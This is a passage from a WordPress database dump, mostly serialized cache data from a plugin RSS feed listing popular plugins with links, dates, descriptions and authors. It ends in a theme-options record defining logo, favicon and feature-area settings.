\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:16:\&quot;TinyMCE Advanced\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:56:\&quot;http://wordpress.org/plugins/tinymce-advanced/#post-2082\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 27 Jun 2007 15:00:26 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editor.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:10:\&quot;Andrew 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21 Jan 2009 04:28:48 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:34:\&quot;8691@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:115:\&quot;This simple but effective plugin allows you to clean up your WordPress database and optimize it without phpMyAdmin.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;ruhanirabin\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:11;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;WooCommerce - excelling eCommerce\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:52:\&quot;http://wordpress.org/plugins/woocommerce/#post-29860\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 05 Sep 2011 08:13:36 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;29860@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:97:\&quot;WooCommerce is a powerful, extendable eCommerce plugin that helps you sell anything. Beautifully.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;WooThemes\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:12;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:7:\&quot;Captcha\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:48:\&quot;http://wordpress.org/plugins/captcha/#post-26129\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 27 Apr 2011 05:53:50 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;26129@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:79:\&quot;This plugin allows you to implement super security captcha form into web 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Simple but flexible.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:16:\&quot;Takayuki Miyoshi\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:1;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:15:\&quot;NextGEN Gallery\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:55:\&quot;http://wordpress.org/plugins/nextgen-gallery/#post-1169\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 23 Apr 2007 20:08:06 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:34:\&quot;1169@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:122:\&quot;The most popular WordPress gallery plugin and one of the most popular plugins of all time with over 7.5 million downloads.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;Alex Rabe\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:2;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:19:\&quot;All in One SEO Pack\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:58:\&quot;http://wordpress.org/plugins/all-in-one-seo-pack/#post-753\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 30 Mar 2007 20:08:18 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;753@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:126:\&quot;All in One SEO Pack is a WordPress SEO plugin to automatically optimize your Wordpress blog for Search Engines such as Google.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;uberdose\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:3;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:7:\&quot;Akismet\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;http://wordpress.org/plugins/akismet/#post-15\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 09 Mar 2007 22:11:30 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;15@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:98:\&quot;Akismet checks your comments against the Akismet web service to see if they look like spam or not.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;Matt Mullenweg\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:4;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:19:\&quot;Google XML Sitemaps\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:63:\&quot;http://wordpress.org/plugins/google-sitemap-generator/#post-132\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 09 Mar 2007 22:31:32 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;132@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:105:\&quot;This plugin will generate a special XML sitemap which will help search engines to better index your blog.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:5:\&quot;Arnee\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:5;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;WP Super Cache\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:54:\&quot;http://wordpress.org/plugins/wp-super-cache/#post-2572\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 05 Nov 2007 11:40:04 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:34:\&quot;2572@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:73:\&quot;A very fast caching engine for WordPress that produces static html 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(143, 'figero_options', 'a:33:{s:11:\&quot;of_template\&quot;;a:36:{i:0;a:2:{s:4:\&quot;name\&quot;;s:16:\&quot;General Settings\&quot;;s:4:\&quot;type\&quot;;s:7:\&quot;heading\&quot;;}i:1;a:4:{s:4:\&quot;name\&quot;;s:11:\&quot;Custom Logo\&quot;;s:4:\&quot;desc\&quot;;s:61:\&quot;Choose your own logo. Optimal Size: 170px Wide by 30px Height\&quot;;s:2:\&quot;id\&quot;;s:11:\&quot;figero_logo\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:2;a:4:{s:4:\&quot;name\&quot;;s:14:\&quot;Custom Favicon\&quot;;s:4:\&quot;desc\&quot;;s:71:\&quot;Specify a 16px x 16px image that will represent your website\'s favicon.\&quot;;s:2:\&quot;id\&quot;;s:14:\&quot;figero_favicon\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:3;a:5:{s:4:\&quot;name\&quot;;s:20:\&quot;Google Analytic Code\&quot;;s:4:\&quot;desc\&quot;;s:58:\&quot;Paste your Google Analytics (or other) tracking code here.\&quot;;s:2:\&quot;id\&quot;;s:16:\&quot;figero_analytics\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:4;a:2:{s:4:\&quot;name\&quot;;s:16:\&quot;Top Feature Area\&quot;;s:4:\&quot;type\&quot;;s:7:\&quot;heading\&quot;;}i:5;a:5:{s:4:\&quot;name\&quot;;s:15:\&quot;Feature Heading\&quot;;s:4:\&quot;desc\&quot;;s:17:\&quot;Enter the Heading\&quot;;s:2:\&quot;id\&quot;;s:20:\&quot;figero_slideheading1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:6;a:5:{s:4:\&quot;name\&quot;;s:19:\&quot;Feature Description\&quot;;s:4:\&quot;desc\&quot;;s:17:\&quot;Enter description\&quot;;s:2:\&quot;id\&quot;;s:24:\&quot;figero_slidedescription1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:7;a:5:{s:4:\&quot;name\&quot;;s:21:\&quot;Text For First Button\&quot;;s:4:\&quot;desc\&quot;;s:32:\&quot;Enter the Text for First Button.\&quot;;s:2:\&quot;id\&quot;;s:18:\&quot;figero_slidel_rb_1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:4:\&quot;text\&quot;;}i:8;a:5:{s:4:\&quot;name\&quot;;s:21:\&quot;Link For First Button\&quot;;s:4:\&quot;desc\&quot;;s:36:\&quot;Enter the Link URL for First Button.\&quot;;s:2:\&quot;id\&quot;;s:17:\&quot;figero_slidel_r_1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:4:\&quot;text\&quot;;}i:9;a:5:{s:4:\&quot;name\&quot;;s:22:\&quot;Text For Second Button\&quot;;s:4:\&quot;desc\&quot;;s:33:\&quot;Enter the Text for Second Button.\&quot;;s:2:\&quot;id\&quot;;s:18:\&quot;figero_slidel_lb_1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:4:\&quot;text\&quot;;}i:10;a:5:{s:4:\&quot;name\&quot;;s:22:\&quot;Link For Second Button\&quot;;s:4:\&quot;desc\&quot;;s:37:\&quot;Enter the Link URL for Second Button.\&quot;;s:2:\&quot;id\&quot;;s:17:\&quot;figero_slidel_l_1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:4:\&quot;text\&quot;;}i:11;a:5:{s:4:\&quot;name\&quot;;s:13:\&quot;Feature Image\&quot;;s:4:\&quot;desc\&quot;;s:67:\&quot;Choose your image to your feature area. Optimal Size: 516px x 300px\&quot;;s:2:\&quot;id\&quot;;s:18:\&quot;figero_slideimage1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:12;a:2:{s:4:\&quot;name\&quot;;s:17:\&quot;Homepage Two Cols\&quot;;s:4:\&quot;type\&quot;;s:7:\&quot;heading\&quot;;}i:13;a:5:{s:4:\&quot;name\&quot;;s:19:\&quot;Left Column Heading\&quot;;s:4:\&quot;desc\&quot;;s:40:\&quot;Enter your heading line for left column.\&quot;;s:2:\&quot;id\&quot;;s:16:\&quot;figero_headline1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:14;a:5:{s:4:\&quot;name\&quot;;s:23:\&quot;Left Column Description\&quot;;s:4:\&quot;desc\&quot;;s:43:\&quot;Enter your feature content for left column.\&quot;;s:2:\&quot;id\&quot;;s:15:\&quot;figero_feature1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:15;a:5:{s:4:\&quot;name\&quot;;s:20:\&quot;Right Column Heading\&quot;;s:4:\&quot;desc\&quot;;s:41:\&quot;Enter your heading line for right column.\&quot;;s:2:\&quot;id\&quot;;s:16:\&quot;figero_headline2\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:16;a:5:{s:4:\&quot;name\&quot;;s:18:\&quot;Right Column Image\&quot;;s:4:\&quot;desc\&quot;;s:38:\&quot;Choose image for right column 